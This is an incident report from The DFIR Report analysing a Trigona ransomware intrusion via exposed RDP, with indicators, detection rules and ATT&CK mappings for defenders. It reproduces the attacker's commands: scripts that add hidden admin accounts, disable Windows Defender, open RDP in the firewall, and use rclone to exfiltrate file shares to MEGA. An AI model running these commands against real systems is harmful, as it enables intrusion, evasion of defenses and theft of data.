THE DFIR REPORT

Real Intrusions by Real Attackers, The Truth Behind the Intrusion

Exfiltrate Data | ransomware | rdp | trigona

Buzzing on Christmas Eve: Trigona Ransomware in 3 Hours

January 29, 2024

Key Takeaways

- In late December 2022, we observed threat actors exploiting a publicly exposed Remote Desktop Protocol (RDP) host, leading to data exfiltration and the deployment of Trigona ransomware.
- On Christmas Eve, within just three hours of gaining initial access, the threat actors executed ransomware across the entire network.
- The threat actors employed a batch script to exfiltrate data, and dropped a series of other batch scripts that could hinder defensive measures, establish a user account, grant access through the firewall for RDP, and automate other intrusion actions.
- Throughout the intrusion, SoftPerfect's Netscan played a pivotal role in conducting various discovery operations.

More information on Trigona ransomware can be found on the following sites: TrendMicro, Unit42, & SentinelOne.

Now available on Spotify, YouTube, Apple, Audible, Pandora & Amazon Music.

Case Summary

This intrusion began when a threat actor gained access to an exposed RDP host. Notably, the login utilized legitimate credentials for the default Administrator account, with no evidence of brute-forcing. The logs revealed multiple remote logins to the same host in the preceding weeks, suggesting the presence of either a recurrent adversary or the potential involvement of an access broker.

Upon gaining access, the threat actor deployed a toolkit onto the beachhead host, which included an assortment of batch scripts, executables, and the SoftPerfect Netscan tool. They then initiated network scans using Netscan, utilizing a custom configuration to automate typical discovery actions, as elaborated upon in the discovery section. As Netscan enumerated the network, the threat actor identified network shares and started exploring them, accessing various documents through a web browser.

Approximately 20 minutes after initial access, the threat actor began lateral movement by establishing an RDP connection to one of the file servers. The threat actor then copied their toolkit to the file server. Following this, the threat actor staged Rclone on the beachhead. However, before executing it, they proceeded to execute a sequence of commands aimed at disabling Windows Defender. With the way cleared, they proceeded to execute a batch script responsible for initiating the Rclone exfiltration process to Mega.io. Additionally, they utilized RDP to access a second file server, where they executed the Rclone scripts again.

Approximately 45 minutes after the data extraction, the threat actor altered their Remote Desktop Protocol (RDP) connection. They logged out and then logged in to the beachhead host from a different IP address. Although the new IP and hostname deviate from the initial entry, it is important to note that the threat actor possessed comprehensive knowledge of the network, engaged with the previously compromised hosts, and employed identical techniques as previously observed. This evidence strongly indicates that this access was a continuation of the ongoing intrusion, possibly executed by the same individual or a collaborator within the group.

Both file share servers then received the same Windows Defender disabling treatment as the beachhead host. A RDP connection was also established with a backup server within the environment, and the identical series of disabling commands were executed. The threat actor then staged a ransomware binary on each of the hosts they had access to. Following this, they initiated the ransomware binary on each host through their RDP sessions.

In this case, the ransomware strain deployed was Trigona, which was executed approximately two hours and 49 minutes after the initial access. This ransomware had far-reaching consequences, affecting not only the host where it was initially executed but also propagating to all network-accessible hosts through the Server Message Block (SMB) protocol. Consequently, the victim faced a dual extortion impact, encompassing both the exfiltration of sensitive data and the encryption of systems through the use of the Trigona ransomware.

Please consider providing feedback on this report here. If you would like to get an email when we publish a new report, please subscribe here.

The DFIR Report Services

We provide a range of services, one of which is our Threat Feed, specializing in monitoring Command and Control frameworks such as Cobalt Strike, Metasploit, Sliver, Viper, Mythic, Havoc, Meterpreter, and more.

Another service we provide is Private Threat Briefs, which encompasses over 25 private reports annually. These reports follow a format similar to our public reports but are more concise in nature. In contrast to our public reports, these briefs are typically released shortly after an intrusion, sometimes even while the intrusion is still ongoing.

Our comprehensive All Intel service includes the Threat Feed, Private Threat Briefs, exploit events, long-term infrastructure tracking, clustering, Cobalt Strike configurations, C2 domains, and a curated collection of intelligence, which includes non-public case data.

Our Private Ruleset is exclusively curated using insights derived from Private Threat Briefs and internal cases, focusing on Sigma rules. As of January 2024, it encompasses approximately 100 Sigma rules, created from the knowledge of 40+ distinct cases. Each rule is mapped to ATT&CK and accompanied by a test example. For more information about this service, please Contact Us.

Analysts

Analysis and reporting completed by @MetallicHack , @pcsc0ut & unnamed contributor 3 (UC3).

Initial Access

Initial access was facilitated through a single Remote Desktop Protocol (RDP) connection from an IP address geo-located in Ukraine. While it’s challenging to pinpoint the actor’s initial access method due to limited evidence, the absence of brute force attempts and the use of valid credentials suggest that the threat actor may have obtained the domain Administrator password, potentially through leakage or purchase, particularly considering other external access events in the weeks leading up to the intrusion.

The initial RDP connection was a single event ID 4624 log (successful login). It was also a type 7 logon suggesting that the Administrator account had an open session which was unlocked. This is usually the result of disconnecting the session without fully signing out. This is corroborated with event ID 4778 reporting a resumed session for the user and IP address.

Execution

During the intrusion, the threat actor initiated all actions over RDP and executed their actions via that GUI access. From this access, they also used some PowerShell and Cmd sessions to execute various scripts used during the intrusion. We observed execution of several scripts detailed in the exfiltration section, and highlight others throughout the rest of the report that the threat actor dropped in the network but were not utilized.

Persistence

Local accounts

Two files were created by threat actors in order to create a new local user and add it to the local administrators group and Remote Desktop Users group. During the intrusion we did not observe them being executed, but since the threat actor dropped them we can assess that these are often used during their intrusion activity.

The first file, newuser.bat, uses WMIC to get the Local Administrators Group and Remote Desktop Users group names using the corresponding SIDs.

It then creates a user named sys with a password Taken1918 and adds it to these groups.

newuser.bat

```
Set AdmGroupSID=S-1-5-32-544
Set AdmGroup=
For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%AdmG
Set AdmGroup=%AdmGroup:~0,-1%
net user sys Taken1918 /add
net localgroup %AdmGroup% sys /add

Set RDPGroupSID=S-1-5-32-555
Set RDPGroup=
For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%RDPG
Set RDPGroup=%RDPGroup:~0,-1%
net localgroup "%RDPGroup%" sys /add
net accounts /maxpwage:unlimited
```

The second script does similar activity but instead it uses the hardcoded group names.

One interesting thing is the creation of the registry value Support under *HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList* which will hide the account Support account from the login screen. The script also creates a user named Support with a password of Kawa72ws. It also sets all local accounts to a max password age of unlimited.

newnewuser.bat

```
bks -ipl iplist.txt -cmd "cmd.exe /c net user Support Kawa72ws /add
net localgroup Administrators Support /add & net localgroup \"Remote Desktop
net accounts /maxpwage:unlimited
reg add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Special
```

Run Keys

After being run, Trigona creates a new value under the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key.

It ensures that the ransomware will be executed each time the victim user logs in.

As we can see below, the APIs RegOpenKeyW and RegSetValueExW are used to set the registry value:

A new value randomly named will be added, pointing to the current location of the ransomware being executed:

```
[SYSMON] Registry value set
RuleName:  technique_id=T1547.001,technique_name=Registry Run Keys / Start
```

```
EventType: SetValue
ProcessGuid:  {6358e9f0-6353-63a6-7c31-000000000500}
ProcessId: 9684
Image:  C:\\ALLibraries\\build_redacted.exe
TargetObject:  HKU\\S-1-5-21-[REDACTED]-500\\Software\\Microsoft\\Windows\\C
Details:  C:\\ALLibraries\\build_redacted.exe
User: [REDACTED]\\Administrator
```

Privilege Escalation

The domain Administrator account was used throughout the network providing the actors easy access to all devices with local Administrator privileges.

This can be confirmed via event ID 4627 and looking for the group membership S-1-5-21-domain-512. A full list of default sid’s can be found here.

Defense Evasion

Upon initial connection, the threat actor dropped several Windows Batch scripts to disk, including scripts designed to disable security tooling.

DefenderOFF.bat

This batch file contained several registry entries commonly employed by threat actors designed to disable the built in Windows Defender. This particular script included a couple of FOR loops designed to automate disabling key services before the registry statements were made.

Take, for instance the first FOR loop:

```
%~dp0\SU64 /w /c cmd.exe /cfor %%A IN (WinDefend WdFilter WdBoot Sense WdNis
```

The threat actor in this statement is utilizing a tool known as SUCMD (SU64) located in the batch file drive/folder path (%~dp0) to run elevated commands within the batch script. The SU64 tool is a Windows Command Line elevation tool; from the SUCMD project README:

> *If you are an active user of the Command Prompt on Windows, you will like this tiny utility. It allows you to run elevated programs without entering your password (but with UAC dialog). You could achieve similar behavior if you choose "Run as administrator" in context menu of a program, but it is not possible to achieve it from command line by default. As an additional useful and important feature, this utility preserves current directory instead of using c:\windows\system32\. So, if you run su from a Total Commander window, it will open cmd with elevated privileges, and in your current directory. Other similar utilities usually don't preserve current directory, so cmd runs in c:\windows\system32\, and it is very inconvenient.*

This FOR loop iterates through a listing of the following services and stops them using the NET command:

- **WinDefend** – Windows Defender Service

- **WdFilter** – Microsoft Defender Antivirus Mini-Filter Driver
- **WdBoot** – Microsoft Defender Antivirus Boot Driver
- **Sense** – Windows Defender Advanced Threat Protection Service (Sense) service
- **WdNisDrv** – Microsoft Defender Antivirus Network Inspection System Driver
- **WdNisSvc** – Microsoft Defender Antivirus Network Inspection Service
- **SecurityHealthService** – Security Health Service/Windows Security Service

The script then utilizes the Sysinternals PSKILL64 binary to terminate several security related services. Finally, the script disables the aforementioned services, disables Defender with several registry statements, and hides the Defender settings page from visibility.

Interestingly enough, the threat actor in this case did not execute this script, preferring to manually run some of the commands (or similar commands) on the system to disable defenses. Of note, two of the third-party tools referenced by the script (SU64 and PSKILL64) were not included in the tool drop.

Defense REvasion?

Additionally interesting, the threat actor dropped (but did not execute) a script to reverse these changes and re-enable Windows Defender, aptly named: **DefenderON.bat**

Disabling Windows Defender

While the two files above were dropped, we did not observe their use. However, on initial login to the beachhead, the threat actor issued several commands via the command prompt to disable various features (including notifications) of Windows Defender:

```
taskkill  /F /IM MSASCuiL.exe
powershell  Set-MpPreference -DisableRealtimeMonitoring $true
powershell  Set-MpPreference -MAPSReporting 0
powershell  Set-MpPreference -SubmitSamplesConsent 2
```

```
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /
REG ADD "HKCU\Software\Policies\Microsoft\Windows\Explorer" /v "DisableNotif
REG DELETE "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Security
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiS
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "AllowFastSer
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "ServiceKeepA
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protect
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protect
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "Disab
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "Local
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "Submi
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration"
```

Discovery

After initial login, the threat actor ran a few commands that are common to many intrusions using built-in Windows utilities.

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  --> "C:\Windows\system32\net.exe" group /domain
  --> "C:\Windows\system32\net.exe" group "domain admins" /domain
  --> "C:\Windows\system32\whoami.exe"
```

Netscan

After these first commands, the threat actor employed Netscan to perform network discovery. This included copying a config file (netscan.xml) that allowed for several pre-configured custom “Applications” referencing batch scripts and binaries dropped in the initial tool drop.

The default Netscan only includes a couple of sample “Applications” – it appears the threat actor in this case has highly customized the instance of Netscan to use it as a centralized command tool to automate many actions, including removing Antivirus, adding new users, and modifying the firewall,

all using PSEXEC. They have “Application” commands available to run if the user already has elevated rights or versions of the commands that can be supplied credentials later if elevation is required and obtained in later stages.

According to Netscans’ documentation, these applications are just pre-configured commands that can be referenced on discovered hosts once they have been discovered by a scan. Most of these involved custom PSEXEC commands, however, there were a few that used specific binaries observed in the initial tool drop – such as:

Remote Desktop Plus (rdp.exe)

SD.exe

This binary is interesting, but was not executed during the Incident. It appears to be a self-extracting binary that drops a tool called Snap2HTML (as well as a batch file to execute it for each drive) designed to create a directory listing of a drive. From Snap2HTML’s website:

> Snap2HTML takes a “snapshot” of folder structures on your harddrive and saves as HTML files. What’s unique about Snap2HTML is that the HTML file uses modern techniques to make it feel more like a “real” application, similar to Windows Explorer, displaying a treeview with folders that you can click to view the files contained within

The copied netscan.xml also included recent scan histories of previous probable victims targeted by the threat actor, saved in a directory using the Russian phrase “отчёты со сканера” or “scanner reports”.

There were two additional XML outputs included in the tool drop that appear to be output scans from previous intrusions unrelated to this incident as well.

Share Enumeration with Netscan

Part of the configuration file for Netscan included options to check for network shares when performing the enumeration.

The threat actor configured Netscan to enumerate write-access to network shares; in this case, the Netscan tool was run under domain administrator level access, so all enumerated shares were writable.

During analysis, running this option with Netscan appears to generate a Security Event ID 5145 that references a relative target “delete[.]me” generated when performing this write-access check by Netscan .

This activity was previously documented in SoftPerfect support forum as well as a ransomware report published by Vectra in 2022. This provides a detection opportunity for defenders to be able to monitor for this event ID, to identify Netscan network share write enumeration in the early stages of an attack. An experimental Sigma rule has also been included. Similarly, this behavior can be observed over the network with tools like Zeek.

The threat actor also used various basic tools to review various files on host and network shares, like browsing remote file shares via a web browser:

At one point the threat actor even used MS Paint to review image files on a remote system.

Several other IP discovery scripts were also dropped by the threat actor but were not observed used during this intrusion.

ipall.bat

```
@echo off
arp -a > ipall.txt
start ipall.txt
```

ipinfo.bat

```
@echo off
Ipconfig /all > ipinfo.txt
start ipinfo.txt
```

Lateral Movement

Keeping it simple was the name of the game for this threat actor. Remote Desktop Protocol (RDP) was all that was necessary to facilitate the exfiltration of data and successful execution of ransomware. Using the beachhead as a pivot point, several RDP connections were initiated to high value targets such as file and backup servers.

Successful RDP connections to hosts on the network

Like with many other batch scripts already reviewed, openrdp.bat was another script that was part of the threat actor toolkit that did not see execution during this intrusion as RDP access was readily available across the environment. However this script would likely be used in the event of the threat actor operating in a more restricted environment.

openrdp.bat

```
netsh advfirewall firewall add rule name="rdp" dir=in protocol=tcp localport
netsh advfirewall firewall set rule group="windows management instrumentatio
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSCo
```

Another tool (presumably to be used for lateral movement) dropped by the threat actor, but not employed in this incident, is a tool named Remote Desktop Plus. Remote Desktop Plus is a RDP client with many options for session management and command line options. The version dropped was v4.0 originally released in 2012. From the tools website:

> Remote Desktop Plus (RDP+) allows you to launch a Remote Desktop session using a username and password entered from the command line (autologin) or imported from a saved credential profile. It also features a unique kiosk mode, which, together with all the other available command line parameters, enables you to easily provide access to Remote Desktop sessions to third parties or end users.

Command and Control

During this intrusion, the threat actor relied solely on the external RDP access that they used when they initially breach the network. Further, the threat actor initially connected via the IP 77.83.36[.]6 and from the remote host named WIN-L1MS2GT1R2G.

Around two and a half hours into the intrusion the initial IP address disconnected and a second connection was made to the beachhead from 193.106.31[.]9 and host 6CU548W0BH. From this session, the ransomware files were staged and executed.

Exfiltration

Two different suspicious batch scripts were dropped using RDP in the built-in Administrator's Music folder on the beachhead and one of the file servers. Upon execution, these two .bat scripts execute rclone.exe to exfiltrate files from the victim file shares:

```
cmd /c "C:\Users\Administrator\Music\start — копия.bat"
  --> cd %~dp0
  --> rclone.exe copy "\\[FILE SERVER]\human resources" MEGA:domain -q --ign

cmd /c "C:\Users\Administrator\Music\start — копия — копия.bat"
  --> cd %~dp0
  --> rclone.exe copy "\\[FILE SERVER]\Files" MEGA:domain -q --ignore-existi
```

Like past reports this threat actor also used the Mega.io service as the remote exfiltration location for the stolen files. One interesting thing to mention is the naming convention for the scripts using копия, the Russian word for copy.

The configuration file for Rclone used by the threat actor was encrypted.

According to Rclone documentation:

> “ **rclone uses nacl secretbox which in turn uses XSalsa20 and Poly1305 to encrypt and authenticate your configuration with secret-key cryptography. The password is SHA-256 hashed, which produces the key for secretbox. The hashed password is not stored.**

This OPSEC by the threat actor helps mask the exfiltration account and other data that a less mindful threat actor may leave behind.

Impact

The threat actor brought in an executable named build_redacted.exe which was **Trigona Ransomware**.

According to Zscaler :

- _* Trigona_ is a ransomware family written in the Delphi programming language that has been active since at least June 2022* The Trigona threat group claims to perform double extortion attacks by combining data exfiltration with file encryption* Trigona utilizes 4,112-bit RSA and 256-bit AES encryption in OFB mode for file encryption* The file decryption process is fairly

> convoluted with a tool that requires several steps to function properly* The ransomware has been regularly updated with new capabilities including a new data wiper feature

While the ransomware affected the host they were executed on, the malware also initiated SMB connections to remote hosts encrypting them as well.

After running the ransomware, it left behind the ransom note how_to_decrypt.hta pictured below.

This ransom note could also be observed distributed over the network with Zeek SMB logs.

Please consider providing feedback on this report here. If you would like to get an email when we publish a new report, please subscribe here.

Timeline

Diamond Model

Indicators

Atomic

```
77.83.36.6
193.106.31.98
```

Computed

```
build_redacted.exe
1852be15aa8dcf664291b3849bd348e4
eea811d2a304101cc0b0edebe6590ea0f3da0a27
d743daa22fdf4313a10da027b034c603eda255be037cb45b28faea23114d3b8a

DefenderOFF.bat
c5d7ce243c1d735d9ca419cc916b87ec
21b7460aa5f7eb7a064d2a7a6837da57719f9c2e
d6d8302d8db7f17aaa45059b60eb8de33166c95d1d833ca4d5061201e4737009

ipall.bat
b2bb4d49c38f06a42f15b39744d425d0
2f5991e67615763865b7e4c4c9558eb447ed7c0d
12f838b54c6dac78f348828fe34f04ac355fa8cc24f8d7c7171d310767463c6c

DefenderON.bat
718f68b24d1e331e60e1a10c92a81961
a73fbffe33ea82b20c4129e552fbc5b76891080e
40fe2564e34168bf5470bbe0247bc614117334753a107b2baeb113154b4de6a7

ipinfo.bat
09dcedb5a6ad0ef5bbea4496486ba4e5
723baea0983b283eebd8331025a52eb13d5daaa7
277550c9d5771a13b65e90f5655150e365516215a714ffd3f075b5b426e2ddc1
```

```
ipwho.bat
0fd71d43c1f07d6a8fa73b0fa7beffa7
52f7e3437d83e964cb2fcc1175fad0611a12e26c
35ff76d763714812486a2f6ad656d124f3fcdfc4d16d49df6221325c8ae8827a

newnewuser.bat
ca49787e7ea3b81fccca2ae45852a3d6
1b65d347bea374bb9915c445382ae696ba4064d4
7f7e61246445872aec37808a2c20f5f055fb5fba8bd3f5af5194762114700180

newuser.bat
cf39e14df6c95285f23cd6d16a2a8a4e
d5d686acb2ad66fa2e01bbfc4e166df80dc76d06
0596b08f0f4c6526b568fc7c9d55abd95230a48feb07b67482392d31c40f3aea

openrdp.bat
44370f5c977e415981febf7dbb87a85c
ac0dce3b0f5b8d187a2e3f29efc358538fd4aa45
56b08aa03bd8c0ea094cfeb03d5954ffd857bac42df929dc835eea62f32b09e0

psNET.bat
3bce26176509adf3f9d8e2e274d92f9e
8003bcb91775386084dcedeca3e1ea68d50888c3
54586ffce0dcb658de916cc46539b5a1e564aaa72be2620fc4f9133ca54aba64

netscan.exe
27f7186499bc8d10e51d17d3d6697bc5
52332ce16ee0c393b8eea6e71863ad41e3caeafd
18f0898d595ec054d13b02915fb7d3636f65b8e53c0c66b3c7ee3b6fc37d3566

rdp.exe
037d9a5307e32252a3556bbe038a0722
641b7cf77286bd86eb144147bbf073bbd2c9c261
8cf27e05e639fcc273d3cceadf68e69573b58e74b4bfce8460a418366a782fbd

sd.exe
08aaa7f4e2c1278c0e9b06ce4e6c217d
```

```
2cb4b4fb1ec8305ef03e1802f56be22b12379a0c
8834c84cfd7e086f74a2ffa5b14ced2c039d78feda4bad610aba1c6bb4a6ce7f

start — копия — копия.bat
eceaa5fe9d6440701c00ee92bdca2dc8
97c05403150f9fe87a62c8ebc988ba7f2006ba6f
6afb934834b97221dee10cbf97741c5fe058730460bfdbcf1da206758a296178

start — копия.bat
76faaf2e85045fcd1a404b7cb921d7c1
4484887c6857a26e40f4337d64ac0df7c391ba83
8b5fdb358b26c09a01c56de4de69841c67051f64ac8afcdd56dfddee06fdaa7b
```

Detections

Network

```
ET POLICY RDP connection confirm
ET POLICY MS Remote Desktop Administrator Login Request
ET INFO Observed DNS Query to Filesharing Service (mega .co .nz)
ET POLICY HTTP POST to MEGA Userstorage
```

Sigma

Search rules on detection.fyi or sigmasearchengine.com

DFIR Report Public:

```
8a0d153f-b4e4-4ea7-9335-892dfbe17221 : NetScan Share Enumeration Write Acces
59e3a079-4245-4203-9d5c-f11290c5ba24 : Hiding local user accounts
```

DFIR Report Private:

```
63d77e05-c651-4163-9851-d7e20a9313c3 : New Firewall Rule Allowing Incoming R
00913ec7-2749-4584-bf1b-47a265198bca : MSPaint Opening File from Remote Host
53ad7638-3862-49a2-9ddd-af7132f9e598 : Using Netscan for Post-Scanning Later
1c289d45-fa72-4465-80ed-32a9ae67804b : Hide Windows Defender Settings
b0df6ced-5f5a-4ff6-b375-a464599e78c1 : Execution of Batch Scripts from Suspi
```

Sigma Repo:

```
1ec65a5f-9473-4f12-97da-622044d6df21 : Powershell Defender Disable Scan Feat
e37db05d-d1f9-49c8-b464-cee1a4b11638 : PUA - Rclone Execution
452bce90-6fb0-43cc-97a5-affc283139b3 : Suspicious Windows Defender Registry 
d95de845-b83c-4a9a-8a6a-4fc802ebf6c0 : Suspicious Group And Account Reconnai
ffa28e60-bdb1-46e0-9f82-05f7a61cc06e : Suspicious Add User to Remote Desktop
0f63e1ef-1eb9-4226-9d54-8927ca08520a : Admin User Remote Logon
```

Yara

Detection Rules:

https://github.com/The-DFIR-Report/Yara-Rules/blob/main/19172/19172.yar

Hunting/Analysis Rules:

https://github.com/Yara-Rules/rules/blob/master/crypto/crypto_signatures.yar#L261-L282

https://github.com/Yara-Rules/rules/blob/master/crypto/crypto_signatures.yar#L542-L551

https://github.com/Yara-Rules/rules/blob/master/crypto/crypto_signatures.yar#L1049-L1057

https://github.com/Yara-Rules/rules/blob/master/crypto/crypto_signatures.yar#L1228-L1238

https://github.com/Yara-Rules/rules/blob/master/antidebug_antivm/antidebug_antivm.yar#L678-L692 https://github.com/Yara-Rules/rules/blob/master/packers/packer.yar#L73-L81

MITRE ATT&CK

```
Valid Accounts - T1078
External Remote Services - T1133
Windows Command Shell - T1059.003
PowerShell - T1059.001
Remote Desktop Protocol - T1021.001
Data Encrypted for Impact - T1486
Remote System Discovery - T1018
Domain Groups - T1069.002
System Owner/User Discovery - T1033
Network Share Discovery - T1135
File and Directory Discovery - T1083
Disable or Modify Tools - T1562.001
Exfiltration to Cloud Storage - T1567.002
Modify Registry - T1112
Lateral Tool Transfer - T1570
Ingress Tool Transfer - T1105
Registry Run Keys / Startup Folder - T1547.001
```

Internal case #19172

Share this:

Twitter LinkedIn Reddit Facebook WhatsApp

« LETS OPEN(DIR) SOME PRESENTS: AN ANALYSIS OF A PERSISTENT ACTOR’S ACTIVITY

SEO POISONING TO DOMAIN CONTROL: THE GOOTLOADER SAGA CONTINUES »

Search … Search

Type your email…

Subscribe

Register For Our Next CTF

Reports

Threat Intelligence

Detection Rules

DFIR Labs

Mentoring and Coaching